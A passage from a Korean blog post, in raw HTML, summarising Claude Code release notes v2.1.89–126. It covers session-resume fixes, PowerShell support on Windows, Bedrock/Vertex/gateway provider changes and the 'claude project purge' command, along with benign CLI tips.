&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.90&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--resume&lt;/code&gt; 첫 요청의 full prompt-cache miss 수정. SDK long conversation transcript write의 quadratic slowdown 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.97&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP HTTP/SSE 재연결 시 버퍼가 시간당 약 50MB씩 쌓이던 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.101&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;대형 세션에서 &lt;code&gt;--resume&lt;/code&gt;/&lt;code&gt;--continue&lt;/code&gt;가 live conversation 대신 dead-end branch에 붙던 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.105&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;API stream이 5분간 무응답이면 abort 후 non-streaming retry. 네트워크 에러도 silent spinner 대신 즉시 retry 메시지 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.116&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;40MB+ 대형 세션에서 &lt;code&gt;/resume&lt;/code&gt; 최대 &lt;b&gt;67%&lt;/b&gt; 개선. dead-fork entries가 많은 세션 처리 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;이미지가 많은 세션에서 multi-GB RSS까지 커질 수 있던 메모리 증가 수정. &lt;code&gt;/usage&lt;/code&gt; 대형 transcript history 메모리 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.126&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Mac sleep 후 stream idle timeout, 장시간 thinking pause 중 background/remote session timeout 오탐 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션을 자주 재개한다면 v2.1.116 이후의 차이가 크다. 특히 40MB가 넘는 transcript, fork가 많은 세션, 중간에 종료된 세션을 자주 다루는 사용자라면 단순 업데이트만으로도 체감이 날 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. Windows &amp;amp; VSCode &amp;mdash; PowerShell이 본격적으로 들어오다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;692&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btX7kO/dJMcagFqIUS/CQvfHIQMYakENki7klW810/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btX7kO/dJMcagFqIUS/CQvfHIQMYakENki7klW810/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btX7kO/dJMcagFqIUS/CQvfHIQMYakENki7klW810/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtX7kO%2FdJMcagFqIUS%2FCQvfHIQMYakENki7klW810%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;411&quot; height=&quot;371&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Windows 지원은 이번 구간의 중요한 축이다. Git Bash 의존을 줄이고, PowerShell을 실제 도구로 다루기 시작했다. 동시에 VSCode/Cursor 통합 터미널의 스크롤, clipboard, voice dictation 문제도 계속 수정됐다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Windows / VSCode 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.89&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows에서 voice mode WebSocket 문제, CRLF 중복, PowerShell stderr 처리 등 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.91&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows version cleanup이 active rollback copy를 보호하도록 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.111&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell tool 점진 rollout. &lt;code&gt;CLAUDE_CODE_USE_POWERSHELL_TOOL&lt;/code&gt;로 opt in/out&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.113&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows &lt;code&gt;Ctrl+Backspace&lt;/code&gt; word delete, long URL clickability, multiline input readline 동작 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.120&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Git for Windows/Git Bash가 없어도 PowerShell을 shell tool로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;VSCode voice dictation이 Claude Code language 설정이 없을 때 VSCode speechLanguage 설정을 존중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell 7 설치 위치 탐지 개선. PowerShell tool 활성 시 PowerShell을 primary shell로 취급. Windows clipboard command-line 노출 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Windows 사용자는 확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이제 Windows에서는 &quot;Git Bash가 없으면 Claude Code가 제대로 못 돈다&quot;에 가까운 전제가 약해지고 있다. 다만 PowerShell tool은 버전별 rollout과 설정 영향을 받으므로, 실제 환경에서는 &lt;code&gt;claude doctor&lt;/code&gt;와 &lt;code&gt;/status&lt;/code&gt;로 어떤 shell tool이 활성화되어 있는지 확인하는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 13 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. Provider / Gateway &amp;mdash; Bedrock, Vertex, Foundry, 커스텀 게이트웨이&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qdvIK/dJMcab49Ibo/hKtsV0vfF4kAqrnoceVfQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qdvIK/dJMcab49Ibo/hKtsV0vfF4kAqrnoceVfQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qdvIK/dJMcab49Ibo/hKtsV0vfF4kAqrnoceVfQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqdvIK%2FdJMcab49Ibo%2FhKtsV0vfF4kAqrnoceVfQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;464&quot; height=&quot;425&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기업 환경에서는 Anthropic API만 쓰지 않는다. Bedrock, Vertex, Foundry, 또는 Anthropic-compatible gateway를 붙이는 경우가 많다. 이번 구간은 이런 provider 환경의 마찰을 많이 줄였다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Provider 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.92&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;login screen에서 interactive Bedrock setup wizard 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.94&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Amazon Bedrock powered by Mantle 지원. &lt;code&gt;CLAUDE_CODE_USE_MANTLE=1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.96&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Bedrock auth 관련 403 regression 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.98&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Google Vertex AI setup wizard 추가. GCP auth, project/region, credential verification, model pinning 안내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.108&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;API key, Bedrock, Vertex, Foundry에서 1시간 prompt cache TTL opt-in 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.122&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ANTHROPIC_BEDROCK_SERVICE_TIER&lt;/code&gt;로 Bedrock service tier 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt;이 Anthropic-compatible gateway를 가리킬 때 &lt;code&gt;/v1/models&lt;/code&gt; 모델 목록을 &lt;code&gt;/model&lt;/code&gt;에 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;사내 gateway를 쓰는 팀이라면 v2.1.126의 &lt;code&gt;/v1/models&lt;/code&gt; 연동이 중요하다. 모델 ID를 사람이 외워서 고르는 방식에서, gateway가 제공하는 모델 목록을 Claude Code UI에서 직접 보는 방식으로 넘어갈 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 14 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;14. v2.1.126에서 특히 확인할 변경&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2108&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rzdR5/dJMcaicaP37/AzIvlW0SZJcQKbDphva3tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rzdR5/dJMcaicaP37/AzIvlW0SZJcQKbDphva3tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rzdR5/dJMcaicaP37/AzIvlW0SZJcQKbDphva3tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrzdR5%2FdJMcaicaP37%2FAzIvlW0SZJcQKbDphva3tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2108&quot; height=&quot;1158&quot; data-origin-width=&quot;2108&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 latest 기준 마지막 릴리스인 v2.1.126은 단순 버그픽스만 있는 버전이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로그인, 프로젝트 상태 삭제, gateway 모델 피커, Windows PowerShell, 보안 정책까지 여러 운영 포인트가 들어 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;왜 중요한가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;claude project purge&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트의 transcripts, tasks, file history, config entry 등 Claude Code 상태를 삭제. &lt;code&gt;--dry-run&lt;/code&gt;, &lt;code&gt;--interactive&lt;/code&gt;, &lt;code&gt;--all&lt;/code&gt; 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OAuth code paste login&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;WSL2, SSH, container처럼 browser callback이 localhost에 닿지 않는 환경에서 terminal에 OAuth code를 붙여넣어 로그인 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gateway model picker&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사내 gateway가 제공하는 &lt;code&gt;/v1/models&lt;/code&gt; 목록을 모델 선택 UI에서 확인 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PowerShell primary shell&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell tool이 켜져 있으면 Claude가 PowerShell을 기본 shell로 더 명확히 인식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Oversized image 처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;2000px 초과 이미지 paste로 세션이 깨지는 문제를 downscale/retry로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Windows clipboard privacy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;복사 내용이 process command-line arguments로 노출되는 문제를 줄임. EDR/SIEM 환경에서 중요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 프로젝트 Claude Code 상태 삭제 전 점검
claude project purge . --dry-run

# 대화형으로 확인하며 삭제
claude project purge . --interactive&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;claude project purge&lt;/code&gt;는 이름 그대로 상태 삭제 명령이다. 실제 삭제 전에는 반드시 &lt;code&gt;--dry-run&lt;/code&gt;으로 어떤 데이터가 지워지는지 확인하는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 15 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;15. 지금 확인해야 할 것&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l0cdJ/dJMcagMbYU7/LJS23xVxkXLOlfGgE1Wai0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l0cdJ/dJMcagMbYU7/LJS23xVxkXLOlfGgE1Wai0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l0cdJ/dJMcagMbYU7/LJS23xVxkXLOlfGgE1Wai0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl0cdJ%2FdJMcagMbYU7%2FLJS23xVxkXLOlfGgE1Wai0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2098&quot; height=&quot;1140&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;당신의 상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;지금 해볼 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Mode가 과감하게 느껴진다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;명시적 금지 조건을 프롬프트와 settings에 적고, &lt;code&gt;/permissions&lt;/code&gt; Recent 탭에서 거부/재시도 흐름을 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 세션 재개가 느리다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.116 이후로 업데이트하고 &lt;code&gt;/resume&lt;/code&gt; 대형 세션 개선을 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;터미널 화면이 자주 깨진다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/tui fullscreen&lt;/code&gt;, &lt;code&gt;/focus&lt;/code&gt;, NO_FLICKER 관련 설정을 점검한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버가 많아 시작이 느리다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;alwaysLoad&lt;/code&gt;를 핵심 서버에만 쓰고, 나머지는 지연 로드되도록 정리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;팀에서 플러그인을 운영한다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;blockedMarketplaces&lt;/code&gt;, &lt;code&gt;strictKnownMarketplaces&lt;/code&gt;, &lt;code&gt;claude plugin prune&lt;/code&gt;를 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Windows에서 Claude Code를 쓴다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell tool 활성 여부와 Git Bash 의존 여부를 &lt;code&gt;claude doctor&lt;/code&gt;로 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사내 gateway를 쓴다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; gateway의 &lt;code&gt;/v1/models&lt;/code&gt; 응답이 &lt;code&gt;/model&lt;/code&gt; 피커에 반영되는지 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트 상태를 정리하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude project purge . --dry-run&lt;/code&gt;으로 삭제 대상부터 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 설치 버전 확인
claude --version

# 업데이트
claude update

# 환경 점검
claude doctor&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 16 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;16. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59~87 구간이 Auto Memory, /loop, Voice, 검색, 팀 정책, 훅의 확장이었다면, v2.1.89~126 구간은 그 기능들을 &lt;b&gt;실제 운영 환경에서 덜 깨지게 만드는 구간&lt;/b&gt;에 가깝다. Auto Mode는 더 안전한 경계를 갖추고, 모델 선택은 Opus 4.7과 gateway까지 넓어졌고, MCP와 플러그인은 느린 연결&amp;middot;의존성&amp;middot;정책 문제를 계속 줄이고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 중요한 변화는 Claude Code가 &quot;기능 많은 CLI&quot;를 넘어 &lt;b&gt;팀 정책, 원격 세션, 플러그인 생태계, 보안 규칙을 함께 다루는 개발 운영 도구&lt;/b&gt;로 이동하고 있다는 점이다. 그만큼 업데이트 속도도 빠르다. 따라서 릴리즈노트를 읽을 때는 새 기능만 보지 말고, 권한&amp;middot;샌드박스&amp;middot;provider&amp;middot;긴 세션 안정성 수정도 같이 봐야 한다.&lt;/p&gt;
